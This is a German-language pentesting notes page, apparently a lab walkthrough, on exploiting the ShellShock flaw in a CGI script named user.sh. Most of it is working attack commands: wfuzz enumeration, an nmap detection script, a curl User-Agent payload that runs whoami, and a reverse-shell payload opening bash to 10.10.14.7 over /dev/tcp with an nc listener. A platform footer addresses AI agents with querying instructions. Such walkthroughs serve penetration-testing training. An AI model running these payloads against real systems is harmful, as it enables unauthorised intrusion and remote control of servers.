> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/shellshock-attack/shellshock-user.sh-pentesting-web.md).

# ShellShock user.sh

## ShellShock

#### Suche nach ausnutzbaren Dateien

Wir filtern Dateien mit Erweiterungen wie `.sh`, `.pl`oder `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z

```

Das **user.sh** Datei wurde identifiziert. Dieses Skript scheint dynamisch zu sein und könnte verwundbar sein.

<figure><img src="/files/5c84d746f46522fa74881fcca937c31d93840e28" alt=""><figcaption></figcaption></figure>

#### Erkennung von Schwachstellen

Wir verwenden das untenstehende Nmap-Skript, um die Verwundbarkeit zu testen:

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56

```

Der Scan bestätigt, dass die Datei **user.sh** anfällig für ShellShock ist.

<figure><img src="/files/de7e82317e310f38e8178df859610ce8891356d7" alt=""><figcaption></figcaption></figure>

#### Befehlsausführung

Um die Befehlsausführung zu testen, verwenden wir **curl** mit einem bösartigen User-Agent:

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () {:; }; echo; /usr/bin/whoami"

```

Dies gibt den Namen des aktiven Benutzers zurück.

<figure><img src="/files/5b169df4d0366a0e73853fd56ada2975692804d6" alt=""><figcaption></figcaption></figure>

#### Reverse Shell

Um eine Reverse Shell zu erhalten:

1. Auf Port 443 lauschen:

```bash
nc -nlvp 443

```

2. Injizieren Sie das folgende Payload:

{% code overflow="wrap" %}

```bash
-H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"

```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"

```

<figure><img src="/files/97b7ed5ecffbf5efe6adaa7ead02db9056d55e65" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/shellshock-attack/shellshock-user.sh-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
